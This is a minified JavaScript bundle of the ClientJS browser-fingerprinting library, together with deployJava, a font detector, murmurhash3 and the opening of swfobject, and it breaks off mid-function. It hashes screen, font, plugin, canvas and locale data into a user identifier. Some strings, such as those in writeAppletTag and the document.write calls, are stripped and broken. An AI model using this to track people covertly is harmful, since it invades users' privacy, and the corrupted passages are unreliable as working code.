(function(f) { var d, e, p = function() { d = (new(window.UAParser || exports.UAParser)).getResult(); e = new Detector; return this }; p.prototype = { getSoftwareVersion: function() { return "0.1.11" }, getBrowserData: function() { return d }, getFingerprint: function() { var b = d.ua, c = this.getScreenPrint(), a = this.getPlugins(), g = this.getFonts(), n = this.isLocalStorage(), f = this.isSessionStorage(), h = this.getTimeZone(), u = this.getLanguage(), m = this.getSystemLanguage(), e = this.isCookie(), C = this.getCanvasPrint(); return murmurhash3_32_gc(b + "|" + c + "|" + a + "|" + g + "|" + n + "|" + f + "|" + h + "|" + u + "|" + m + "|" + e + "|" + C, 256) }, getCustomFingerprint: function() { for (var b = "", c = 0; c < arguments.length; c++) b += arguments[c] + "|"; return murmurhash3_32_gc(b, 256) }, getUserAgent: function() { return d.ua }, getUserAgentLowerCase: function() { return d.ua.toLowerCase() }, getBrowser: function() { return d.browser.name }, getBrowserVersion: function() { return d.browser.version }, getBrowserMajorVersion: function() { return d.browser.major }, isIE: function() { return /(IE|Edge)/i.test(d.browser.name) }, isChrome: function() { return /Chrome/i.test(d.browser.name) }, isFirefox: function() { return /Firefox/i.test(d.browser.name) }, isSafari: function() { return /Safari/i.test(d.browser.name) }, isMobileSafari: function() { return /Mobile\sSafari/i.test(d.browser.name) }, isOpera: function() { return /Opera/i.test(d.browser.name) }, getEngine: function() { return d.engine.name }, getEngineVersion: function() { return d.engine.version }, getOS: function() { return d.os.name }, getOSVersion: function() { return d.os.version }, isWindows: function() { return /Windows/i.test(d.os.name) }, isMac: function() { return /Mac/i.test(d.os.name) }, isLinux: function() { return /Linux/i.test(d.os.name) }, isUbuntu: function() { return /Ubuntu/i.test(d.os.name) }, isSolaris: function() { return /Solaris/i.test(d.os.name) }, getDevice: function() { return d.device.model }, getDeviceType: function() { return d.device.type }, getDeviceVendor: function() { return d.device.vendor }, getCPU: function() { return d.cpu.architecture }, isMobile: function() { var b = d.ua || navigator.vendor || window.opera; return /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(b) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(b.substr(0, 4)) }, isMobileMajor: function() { return this.isMobileAndroid() || this.isMobileBlackBerry() || this.isMobileIOS() || this.isMobileOpera() || this.isMobileWindows() }, isMobileAndroid: function() { return d.ua.match(/Android/i) ? !0 : !1 }, isMobileOpera: function() { return d.ua.match(/Opera Mini/i) ? !0 : !1 }, isMobileWindows: function() { return d.ua.match(/IEMobile/i) ? !0 : !1 }, isMobileBlackBerry: function() { return d.ua.match(/BlackBerry/i) ? !0 : !1 }, isMobileIOS: function() { return d.ua.match(/iPhone|iPad|iPod/i) ? !0 : !1 }, isIphone: function() { return d.ua.match(/iPhone/i) ? !0 : !1 }, isIpad: function() { return d.ua.match(/iPad/i) ? !0 : !1 }, isIpod: function() { return d.ua.match(/iPod/i) ? !0 : !1 }, getScreenPrint: function() { return "Current Resolution: " + this.getCurrentResolution() + ", Available Resolution: " + this.getAvailableResolution() + ", Color Depth: " + this.getColorDepth() + ", Device XDPI: " + this.getDeviceXDPI() + ", Device YDPI: " + this.getDeviceYDPI() }, getColorDepth: function() { return screen.colorDepth }, getCurrentResolution: function() { return screen.width + "x" + screen.height }, getAvailableResolution: function() { return screen.availWidth + "x" + screen.availHeight }, getDeviceXDPI: function() { return screen.deviceXDPI }, getDeviceYDPI: function() { return screen.deviceYDPI }, getPlugins: function() { for (var b = "", c = 0; c < navigator.plugins.length; c++) b = c == navigator.plugins.length - 1 ? b + navigator.plugins[c].name : b + (navigator.plugins[c].name + ", "); return b }, isJava: function() { return navigator.javaEnabled() }, getJavaVersion: function() { return deployJava.getJREs().toString() }, isFlash: function() { return navigator.plugins["Shockwave Flash"] ? !0 : !1 }, getFlashVersion: function() { return this.isFlash() ? (objPlayerVersion = swfobject.getFlashPlayerVersion(), objPlayerVersion.major + "." + objPlayerVersion.minor + "." + objPlayerVersion.release) : "" }, isSilverlight: function() { return navigator.plugins["Silverlight Plug-In"] ? !0 : !1 }, getSilverlightVersion: function() { return this.isSilverlight() ? navigator.plugins["Silverlight Plug-In"].description : "" }, isMimeTypes: function() { return navigator.mimeTypes.length ? !0 : !1 }, getMimeTypes: function() { for (var b = "", c = 0; c < navigator.mimeTypes.length; c++) b = c == navigator.mimeTypes.length - 1 ? b + navigator.mimeTypes[c].description : b + (navigator.mimeTypes[c].description + ", "); return b }, isFont: function(b) { return e.detect(b) }, getFonts: function() { for (var b = "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Aharoni;Andalus;Angsana New;AngsanaUPC;Aparajita;Arab;Arabic Transparent;Arabic Typesetting;Arial Baltic;Arial Black;Arial CE;Arial CYR;Arial Greek;Arial TUR;Arial;Batang;BatangChe;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Browallia New;BrowalliaUPC;Calibri Light;Calibri;Californian FB;Cambria Math;Cambria;Candara;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Comic Sans MS;Consolas;Constantia;Copperplate Gothic Light;Corbel;Cordia New;CordiaUPC;Courier New Baltic;Courier New CE;Courier New CYR;Courier New Greek;Courier New TUR;Courier New;DFKai-SB;DaunPenh;David;DejaVu LGC Sans Mono;Desdemona;DilleniaUPC;DokChampa;Dotum;DotumChe;Ebrima;Engravers MT;Eras Bold ITC;Estrangelo Edessa;EucrosiaUPC;Euphemia;Eurostile;FangSong;Forte;FrankRuehl;Franklin Gothic Heavy;Franklin Gothic Medium;FreesiaUPC;French Script MT;Gabriola;Gautami;Georgia;Gigi;Gisha;Goudy Old Style;Gulim;GulimChe;GungSeo;Gungsuh;GungsuhChe;Haettenschweiler;Harrington;Hei S;HeiT;Heisei Kaku Gothic;Hiragino Sans GB;Impact;Informal Roman;IrisUPC;Iskoola Pota;JasmineUPC;KacstOne;KaiTi;Kalinga;Kartika;Khmer UI;Kino MT;KodchiangUPC;Kokila;Kozuka Gothic Pr6N;Lao UI;Latha;Leelawadee;Levenim MT;LilyUPC;Lohit Gujarati;Loma;Lucida Bright;Lucida Console;Lucida Fax;Lucida Sans Unicode;MS Gothic;MS Mincho;MS PGothic;MS PMincho;MS Reference Sans Serif;MS UI Gothic;MV Boli;Magneto;Malgun Gothic;Mangal;Marlett;Matura MT Script Capitals;Meiryo UI;Meiryo;Menlo;Microsoft Himalaya;Microsoft JhengHei;Microsoft New Tai Lue;Microsoft PhagsPa;Microsoft Sans Serif;Microsoft Tai Le;Microsoft Uighur;Microsoft YaHei;Microsoft Yi Baiti;MingLiU;MingLiU-ExtB;MingLiU_HKSCS;MingLiU_HKSCS-ExtB;Miriam Fixed;Miriam;Mongolian Baiti;MoolBoran;NSimSun;Narkisim;News Gothic MT;Niagara Solid;Nyala;PMingLiU;PMingLiU-ExtB;Palace Script MT;Palatino Linotype;Papyrus;Perpetua;Plantagenet Cherokee;Playbill;Prelude Bold;Prelude Condensed Bold;Prelude Condensed Medium;Prelude Medium;PreludeCompressedWGL Black;PreludeCompressedWGL Bold;PreludeCompressedWGL Light;PreludeCompressedWGL Medium;PreludeCondensedWGL Black;PreludeCondensedWGL Bold;PreludeCondensedWGL Light;PreludeCondensedWGL Medium;PreludeWGL Black;PreludeWGL Bold;PreludeWGL Light;PreludeWGL Medium;Raavi;Rachana;Rockwell;Rod;Sakkal Majalla;Sawasdee;Script MT Bold;Segoe Print;Segoe Script;Segoe UI Light;Segoe UI Semibold;Segoe UI Symbol;Segoe UI;Shonar Bangla;Showcard Gothic;Shruti;SimHei;SimSun;SimSun-ExtB;Simplified Arabic Fixed;Simplified Arabic;Snap ITC;Sylfaen;Symbol;Tahoma;Times New Roman Baltic;Times New Roman CE;Times New Roman CYR;Times New Roman Greek;Times New Roman TUR;Times New Roman;TlwgMono;Traditional Arabic;Trebuchet MS;Tunga;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Utsaah;Vani;Verdana;Vijaya;Vladimir Script;Vrinda;Webdings;Wide Latin;Wingdings".split(";"), c = "", a = 0; a < b.length; a++) e.detect(b[a]) && (c = a == b.length - 1 ? c + b[a] : c + (b[a] + ", ")); return c }, isLocalStorage: function() { try { return !!f.localStorage } catch (b) { return !0 } }, isSessionStorage: function() { try { return !!f.sessionStorage } catch (b) { return !0 } }, isCookie: function() { return navigator.cookieEnabled }, getTimeZone: function() { return String(String(new Date).split("(")[1]).split(")")[0] }, getLanguage: function() { return navigator.language }, getSystemLanguage: function() { return navigator.systemLanguage }, isCanvas: function() { var b = document.createElement("canvas"); try { return !(!b.getContext || !b.getContext("2d")) } catch (c) { return !1 } }, getCanvasPrint: function() { var b = document.createElement("canvas"), c; try { c = b.getContext("2d") } catch (a) { return "" } c.textBaseline = "top"; c.font = "14px 'Arial'"; c.textBaseline = "alphabetic"; c.fillStyle = "#f60"; c.fillRect(125, 1, 62, 20); c.fillStyle = "#069"; c.fillText("ClientJS,org 1.0", 2, 15); c.fillStyle = "rgba(102, 204, 0, 0.7)"; c.fillText("ClientJS,org 1.0", 4, 17); return b.toDataURL() } }; "object" === typeof module && "undefined" !== typeof exports && (module.exports = p); f.ClientJS = p })(window); var deployJava = function() { function f(a) { c.debug && (console.log ? console.log(a) : alert(a)) } function d(a) { if (null == a || 0 == a.length) return "http://java.com/dt-redirect"; "&" == a.charAt(0) && (a = a.substring(1, a.length)); return "http://java.com/dt-redirect?" + a } var e = ["id", "class", "title", "style"]; "classid codebase codetype data type archive declare standby height width usemap name tabindex align border hspace vspace".split(" ").concat(e, ["lang", "dir"], "onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup".split(" ")); var p = "codebase code name archive object width height alt align hspace vspace".split(" ").concat(e), b; try { b = -1 != document.location.protocol.indexOf("http") ? "//java.com/js/webstart.png" : "http://java.com/js/webstart.png" } catch (a) { b = "http://java.com/js/webstart.png" } var c = { debug: null, version: "20120801", firefoxJavaVersion: null, myInterval: null, preInstallJREList: null, returnPage: null, brand: null, locale: null, installType: null, EAInstallEnabled: !1, EarlyAccessURL: null, oldMimeType: "application/npruntime-scriptable-plugin;DeploymentToolkit", mimeType: "application/java-deployment-toolkit", launchButtonPNG: b, browserName: null, browserName2: null, getJREs: function() { var a = []; if (this.isPluginInstalled()) for (var g = this.getPlugin().jvms, b = 0; b < g.getLength(); b++) a[b] = g.get(b).version; else g = this.getBrowser(), "MSIE" == g ? this.testUsingActiveX("1.7.0") ? a[0] = "1.7.0" : this.testUsingActiveX("1.6.0") ? a[0] = "1.6.0" : this.testUsingActiveX("1.5.0") ? a[0] = "1.5.0" : this.testUsingActiveX("1.4.2") ? a[0] = "1.4.2" : this.testForMSVM() && (a[0] = "1.1") : "Netscape Family" == g && (this.getJPIVersionUsingMimeType(), null != this.firefoxJavaVersion ? a[0] = this.firefoxJavaVersion : this.testUsingMimeTypes("1.7") ? a[0] = "1.7.0" : this.testUsingMimeTypes("1.6") ? a[0] = "1.6.0" : this.testUsingMimeTypes("1.5") ? a[0] = "1.5.0" : this.testUsingMimeTypes("1.4.2") ? a[0] = "1.4.2" : "Safari" == this.browserName2 && (this.testUsingPluginsArray("1.7.0") ? a[0] = "1.7.0" : this.testUsingPluginsArray("1.6") ? a[0] = "1.6.0" : this.testUsingPluginsArray("1.5") ? a[0] = "1.5.0" : this.testUsingPluginsArray("1.4.2") && (a[0] = "1.4.2"))); if (this.debug) for (b = 0; b < a.length; ++b) f("[getJREs()] We claim to have detected Java SE " + a[b]); return a }, installJRE: function(a, g) { if (this.isPluginInstalled() && this.isAutoInstallEnabled(a)) { var b = !1; if (b = this.isCallbackSupported() ? this.getPlugin().installJRE(a, g) : this.getPlugin().installJRE(a)) this.refresh(), null != this.returnPage && (document.location = this.returnPage); return b } return this.installLatestJRE() }, isAutoInstallEnabled: function(a) { if (!this.isPluginInstalled()) return !1; "undefined" == typeof a && (a = null); if ("MSIE" != deployJava.browserName || deployJava.compareVersionToPattern(deployJava.getPlugin().version, ["10", "0", "0"], !1, !0)) a = !0; else if (null == a) a = !1; else { var g = "1.6.0_33+"; if (null == g || 0 == g.length) a = !0; else { var b = g.charAt(g.length - 1); "+" != b && "*" != b && -1 != g.indexOf("_") && "_" != b && (g += "*", b = "*"); g = g.substring(0, g.length - 1); if (0 < g.length) { var c = g.charAt(g.length - 1); if ("." == c || "_" == c) g = g.substring(0, g.length - 1) } a = "*" == b ? 0 == a.indexOf(g) : "+" == b ? g <= a : !1 } a = !a } return a }, isCallbackSupported: function() { return this.isPluginInstalled() && this.compareVersionToPattern(this.getPlugin().version, ["10", "2", "0"], !1, !0) }, installLatestJRE: function(a) { if (this.isPluginInstalled() && this.isAutoInstallEnabled()) { var g = !1; if (g = this.isCallbackSupported() ? this.getPlugin().installLatestJRE(a) : this.getPlugin().installLatestJRE()) this.refresh(), null != this.returnPage && (document.location = this.returnPage); return g } a = this.getBrowser(); g = navigator.platform.toLowerCase(); if ("true" == this.EAInstallEnabled && -1 != g.indexOf("win") && null != this.EarlyAccessURL) this.preInstallJREList = this.getJREs(), null != this.returnPage && (this.myInterval = setInterval("deployJava.poll()", 3E3)), location.href = this.EarlyAccessURL; else { if ("MSIE" == a) return this.IEInstall(); if ("Netscape Family" == a && -1 != g.indexOf("win32")) return this.FFInstall(); location.href = d((null != this.returnPage ? "&returnPage=" + this.returnPage : "") + (null != this.locale ? "&locale=" + this.locale : "") + (null != this.brand ? "&brand=" + this.brand : "")) } return !1 }, runApplet: function(a, g, b) { if ("undefined" == b || null == b) b = "1.1"; var c = b.match("^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$"); null == this.returnPage && (this.returnPage = document.location); null != c ? "?" != this.getBrowser() ? this.versionCheck(b + "+") ? this.writeAppletTag(a, g) : this.installJRE(b + "+") && (this.refresh(), location.href = document.location, this.writeAppletTag(a, g)) : this.writeAppletTag(a, g) : f("[runApplet()] Invalid minimumVersion argument to runApplet():" + b) }, writeAppletTag: function(a, g) { var b = "' } d || (c += ''); h && (b += ' code="dummy"'); document.write(b + ">\n" + c + "\n") }, versionCheck: function(a) { var g = 0, b = a.match("^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$"); if (null != b) { for (var c = a = !1, h = [], d = 1; d < b.length; ++d) "string" == typeof b[d] && "" != b[d] && (h[g] = b[d], g++); "+" == h[h.length - 1] ? (c = !0, a = !1, h.length--) : "*" == h[h.length - 1] ? (c = !1, a = !0, h.length--) : 4 > h.length && (c = !1, a = !0); g = this.getJREs(); for (d = 0; d < g.length; ++d) if (this.compareVersionToPattern(g[d], h, a, c)) return !0 } else g = "Invalid versionPattern passed to versionCheck: " + a, f("[versionCheck()] " + g), alert(g); return !1 }, isWebStartInstalled: function(a) { if ("?" == this.getBrowser()) return !0; if ("undefined" == a || null == a) a = "1.4.2"; var b = !1; null != a.match("^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$") ? b = this.versionCheck(a + "+") : (f("[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): " + a), b = this.versionCheck("1.4.2+")); return b }, getJPIVersionUsingMimeType: function() { for (var a = 0; a < navigator.mimeTypes.length; ++a) { var b = navigator.mimeTypes[a].type.match(/^application\/x-java-applet;jpi-version=(.*)$/); if (null != b && (this.firefoxJavaVersion = b[1], "Opera" != this.browserName2)) break } }, launchWebStartApplication: function(a) { navigator.userAgent.toLowerCase(); this.getJPIVersionUsingMimeType(); if (0 == this.isWebStartInstalled("1.7.0") && (0 == this.installJRE("1.7.0+") || 0 == this.isWebStartInstalled("1.7.0"))) return !1; var b = null; document.documentURI && (b = document.documentURI); null == b && (b = document.URL); var c = this.getBrowser(), d; "MSIE" == c ? d = '' : "Netscape Family" == c && (d = ''); "undefined" == document.body || null == document.body ? (document.write(d), document.location = b) : (a = document.createElement("div"), a.id = "div1", a.style.position = "relative", a.style.left = "-10000px", a.style.margin = "0px auto", a.className = "dynamicDiv", a.innerHTML = d, document.body.appendChild(a)) }, createWebStartLaunchButtonEx: function(a, b) { null == this.returnPage && (this.returnPage = a); document.write('') }, createWebStartLaunchButton: function(a, b) { null == this.returnPage && (this.returnPage = a); document.write('') }, launch: function(a) { document.location = a; return !0 }, isPluginInstalled: function() { var a = this.getPlugin(); return a && a.jvms ? !0 : !1 }, isAutoUpdateEnabled: function() { return this.isPluginInstalled() ? this.getPlugin().isAutoUpdateEnabled() : !1 }, setAutoUpdateEnabled: function() { return this.isPluginInstalled() ? this.getPlugin().setAutoUpdateEnabled() : !1 }, setInstallerType: function(a) { this.installType = a; return this.isPluginInstalled() ? this.getPlugin().setInstallerType(a) : !1 }, setAdditionalPackages: function(a) { return this.isPluginInstalled() ? this.getPlugin().setAdditionalPackages(a) : !1 }, setEarlyAccess: function(a) { this.EAInstallEnabled = a }, isPlugin2: function() { if (this.isPluginInstalled() && this.versionCheck("1.6.0_10+")) try { return this.getPlugin().isPlugin2() } catch (a) {} return !1 }, allowPlugin: function() { this.getBrowser(); return "Safari" != this.browserName2 && "Opera" != this.browserName2 }, getPlugin: function() { this.refresh(); var a = null; this.allowPlugin() && (a = document.getElementById("deployJavaPlugin")); return a }, compareVersionToPattern: function(a, b, c, d) { if (void 0 == a || void 0 == b) return !1; var h = a.match("^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$"); if (null != h) { var f = 0; a = []; for (var m = 1; m < h.length; ++m) "string" == typeof h[m] && "" != h[m] && (a[f] = h[m], f++); h = Math.min(a.length, b.length); if (d) { for (m = 0; m < h; ++m) { if (a[m] < b[m]) return !1; if (a[m] > b[m]) break } return !0 } for (m = 0; m < h; ++m) if (a[m] != b[m]) return !1; return c ? !0 : a.length == b.length } return !1 }, getBrowser: function() { if (null == this.browserName) { var a = navigator.userAgent.toLowerCase(); f("[getBrowser()] navigator.userAgent.toLowerCase() -> " + a); - 1 != a.indexOf("msie") && -1 == a.indexOf("opera") ? this.browserName2 = this.browserName = "MSIE" : -1 != a.indexOf("iphone") ? (this.browserName = "Netscape Family", this.browserName2 = "iPhone") : -1 != a.indexOf("firefox") && -1 == a.indexOf("opera") ? (this.browserName = "Netscape Family", this.browserName2 = "Firefox") : -1 != a.indexOf("chrome") ? (this.browserName = "Netscape Family", this.browserName2 = "Chrome") : -1 != a.indexOf("safari") ? (this.browserName = "Netscape Family", this.browserName2 = "Safari") : -1 != a.indexOf("mozilla") && -1 == a.indexOf("opera") ? (this.browserName = "Netscape Family", this.browserName2 = "Other") : -1 != a.indexOf("opera") ? (this.browserName = "Netscape Family", this.browserName2 = "Opera") : (this.browserName = "?", this.browserName2 = "unknown"); f("[getBrowser()] Detected browser name:" + this.browserName + ", " + this.browserName2) } return this.browserName }, testUsingActiveX: function(a) { a = "JavaWebStart.isInstalled." + a + ".0"; if ("undefined" == typeof ActiveXObject || !ActiveXObject) return f("[testUsingActiveX()] Browser claims to be IE, but no ActiveXObject object?"), !1; try { return null != new ActiveXObject(a) } catch (b) { return !1 } }, testForMSVM: function() { if ("undefined" != typeof oClientCaps) { var a = oClientCaps.getComponentVersion("{08B0E5C0-4FCB-11CF-AAA5-00401C608500}", "ComponentID"); return "" == a || "5,0,5000,0" == a ? !1 : !0 } return !1 }, testUsingMimeTypes: function(a) { if (!navigator.mimeTypes) return f("[testUsingMimeTypes()] Browser claims to be Netscape family, but no mimeTypes[] array?"), !1; for (var b = 0; b < navigator.mimeTypes.length; ++b) { s = navigator.mimeTypes[b].type; var c = s.match(/^application\/x-java-applet\x3Bversion=(1\.8|1\.7|1\.6|1\.5|1\.4\.2)$/); if (null != c && this.compareVersions(c[1], a)) return !0 } return !1 }, testUsingPluginsArray: function(a) { if (!navigator.plugins || !navigator.plugins.length) return !1; for (var b = navigator.platform.toLowerCase(), c = 0; c < navigator.plugins.length; ++c) if (s = navigator.plugins[c].description, -1 != s.search(/^Java Switchable Plug-in (Cocoa)/)) { if (this.compareVersions("1.5.0", a)) return !0 } else if (-1 != s.search(/^Java/) && -1 != b.indexOf("win") && (this.compareVersions("1.5.0", a) || this.compareVersions("1.6.0", a))) return !0; return this.compareVersions("1.5.0", a) ? !0 : !1 }, IEInstall: function() { location.href = d((null != this.returnPage ? "&returnPage=" + this.returnPage : "") + (null != this.locale ? "&locale=" + this.locale : "") + (null != this.brand ? "&brand=" + this.brand : "")); return !1 }, done: function(a, b) {}, FFInstall: function() { location.href = d((null != this.returnPage ? "&returnPage=" + this.returnPage : "") + (null != this.locale ? "&locale=" + this.locale : "") + (null != this.brand ? "&brand=" + this.brand : "") + (null != this.installType ? "&type=" + this.installType : "")); return !1 }, compareVersions: function(a, b) { for (var c = a.split("."), d = b.split("."), h = 0; h < c.length; ++h) c[h] = Number(c[h]); for (h = 0; h < d.length; ++h) d[h] = Number(d[h]); 2 == c.length && (c[2] = 0); return c[0] > d[0] ? !0 : c[0] < d[0] ? !1 : c[1] > d[1] ? !0 : c[1] < d[1] ? !1 : c[2] > d[2] ? !0 : c[2] < d[2] ? !1 : !0 }, enableAlerts: function() { this.browserName = null; this.debug = !0 }, poll: function() { this.refresh(); var a = this.getJREs(); 0 == this.preInstallJREList.length && 0 != a.length && (clearInterval(this.myInterval), null != this.returnPage && (location.href = this.returnPage)); 0 != this.preInstallJREList.length && 0 != a.length && this.preInstallJREList[0] != a[0] && (clearInterval(this.myInterval), null != this.returnPage && (location.href = this.returnPage)) }, writePluginTag: function() { var a = this.getBrowser(); "MSIE" == a ? document.write('') : "Netscape Family" == a && this.allowPlugin() && this.writeEmbedTag() }, refresh: function() { navigator.plugins.refresh(!1); "Netscape Family" == this.getBrowser() && this.allowPlugin() && null == document.getElementById("deployJavaPlugin") && this.writeEmbedTag() }, writeEmbedTag: function() { var a = !1; if (null != navigator.mimeTypes) { for (var b = 0; b < navigator.mimeTypes.length; b++) navigator.mimeTypes[b].type == this.mimeType && navigator.mimeTypes[b].enabledPlugin && (document.write(''), a = !0); if (!a) for (b = 0; b < navigator.mimeTypes.length; b++) navigator.mimeTypes[b].type == this.oldMimeType && navigator.mimeTypes[b].enabledPlugin && document.write('') } } }; c.writePluginTag(); if (null == c.locale) { e = null; if (null == e) try { e = navigator.userLanguage } catch (a) {} if (null == e) try { e = navigator.systemLanguage } catch (a) {} if (null == e) try { e = navigator.language } catch (a) {} null != e && (e.replace("-", "_"), c.locale = e) } return c }; var Detector = function() { var f = ["monospace", "sans-serif", "serif"], d = document.getElementsByTagName("body")[0], e = document.createElement("span"); e.style.fontSize = "72px"; e.innerHTML = "mmmmmmmmmmlli"; var p = {}, b = {}, c; for (c in f) e.style.fontFamily = f[c], d.appendChild(e), p[f[c]] = e.offsetWidth, b[f[c]] = e.offsetHeight, d.removeChild(e); this.detect = function(a) { var c = !1, n; for (n in f) { e.style.fontFamily = a + "," + f[n]; d.appendChild(e); var v = e.offsetWidth != p[f[n]] || e.offsetHeight != b[f[n]]; d.removeChild(e); c = c || v } return c } }; function murmurhash3_32_gc(f, d) { var e, p, b, c, a; e = f.length & 3; p = f.length - e; b = d; for (a = 0; a < p;) c = f.charCodeAt(a) & 255 | (f.charCodeAt(++a) & 255) << 8 | (f.charCodeAt(++a) & 255) << 16 | (f.charCodeAt(++a) & 255) << 24, ++a, c = 3432918353 * (c & 65535) + ((3432918353 * (c >>> 16) & 65535) << 16) & 4294967295, c = c << 15 | c >>> 17, c = 461845907 * (c & 65535) + ((461845907 * (c >>> 16) & 65535) << 16) & 4294967295, b ^= c, b = b << 13 | b >>> 19, b = 5 * (b & 65535) + ((5 * (b >>> 16) & 65535) << 16) & 4294967295, b = (b & 65535) + 27492 + (((b >>> 16) + 58964 & 65535) << 16); c = 0; switch (e) { case 3: c ^= (f.charCodeAt(a + 2) & 255) << 16; case 2: c ^= (f.charCodeAt(a + 1) & 255) << 8; case 1: c ^= f.charCodeAt(a) & 255, c = 3432918353 * (c & 65535) + ((3432918353 * (c >>> 16) & 65535) << 16) & 4294967295, c = c << 15 | c >>> 17, b ^= 461845907 * (c & 65535) + ((461845907 * (c >>> 16) & 65535) << 16) & 4294967295 } b ^= f.length; b ^= b >>> 16; b = 2246822507 * (b & 65535) + ((2246822507 * (b >>> 16) & 65535) << 16) & 4294967295; b ^= b >>> 13; b = 3266489909 * (b & 65535) + ((3266489909 * (b >>> 16) & 65535) << 16) & 4294967295; return (b ^ b >>> 16) >>> 0 }; var swfobject = function() { function f() { if (!y) { try { var a = l.getElementsByTagName("body")[0].appendChild(l.createElement("span")); a.parentNode.removeChild(a) } catch (b) { return } y = !0; for (var a = F.length, c = 0; c < a; c++) F[c]() } } function d(a) { y ? a() : F[F.length] = a } function e(a) { if ("undefined" != typeof r.addEventListener) r.addEventListener("load", a, !1); else if ("undefined" != typeof l.addEventListener) l.addEventListener("load", a, !1); else if ("undefined" != typeof r.attachEvent) B(r, "onload", a); else if ("function" == typeof r.onload) { var b = r.onload; r.onload = function() { b(); a() } } else r.onload = a } function p() { var a = l.getElementsByTagName("body")[0], c = l.createElement("object"); c.setAttribute("type", "application/x-shockwave-flash"); var d = a.appendChild(c); if (d) { var g = 0; (function() { if ("undefined" != typeof d.GetVariable) { var h = d.GetVariable("$version"); h && (h = h.split(" ")[1].split(","), k.pv = [parseInt(h[0], 10), parseInt(h[1], 10), parseInt(h[2], 10)]) } else if (10 > g) { g++; setTimeout(arguments.callee, 10); return } a.removeChild(c); d = null; b() })() } else b() } function b() { var b = x.length; if (0 < b) for (var z = 0; z < b; z++) { var d = x[z].id, h = x[z].callbackFn, f = { success: !1, id: d }; if (0 < k.pv[0]) { var e = m(d); if (e) if (!C(x[z].swfVersion) || k.wk && 312 > k.wk) if (x[z].expressInstall && a()) { f = {}; f.data = x[z].expressInstall; f.width = e.getAttribute("width") || "0"; f.height = e.getAttribute("height") || "0"; e.getAttribute("class") && (f.styleclass = e.getAttribute("class")); e.getAttribute("align") && (f.align = e.getAttribute("align")); for (var l = {}, e = e.getElementsByTagName("param"), q = e.length, u = 0; u < q; u++) "movie" != e[u].getAttribute("name").toLowerCase() && (l[e[u].getAttribute("name")] = e[u].getAttribute("value")); g(f, l, d, h) } else n(e), h && h(f); else A(d, !0), h && (f.success = !0, f.ref = c(d), h(f)) } else A(d, !0), h && ((d = c(d)) && "undefined" != typeof d.SetVariable && (f.success = !0, f.ref = d), h(f)) } } function c(a) { var b = null; (a = m(a)) && "OBJECT" == a.nodeName && ("undefined" != typeof a.SetVariable ? b = a : (a = a.getElementsByTagName("object")[0]) && (b = a)); return b } function a() { return !G && C("6.0.65") && (k.win || k.mac) && !(k.wk && 312 > k.wk) } function g(a, b, c, d) { G = !0; J = d 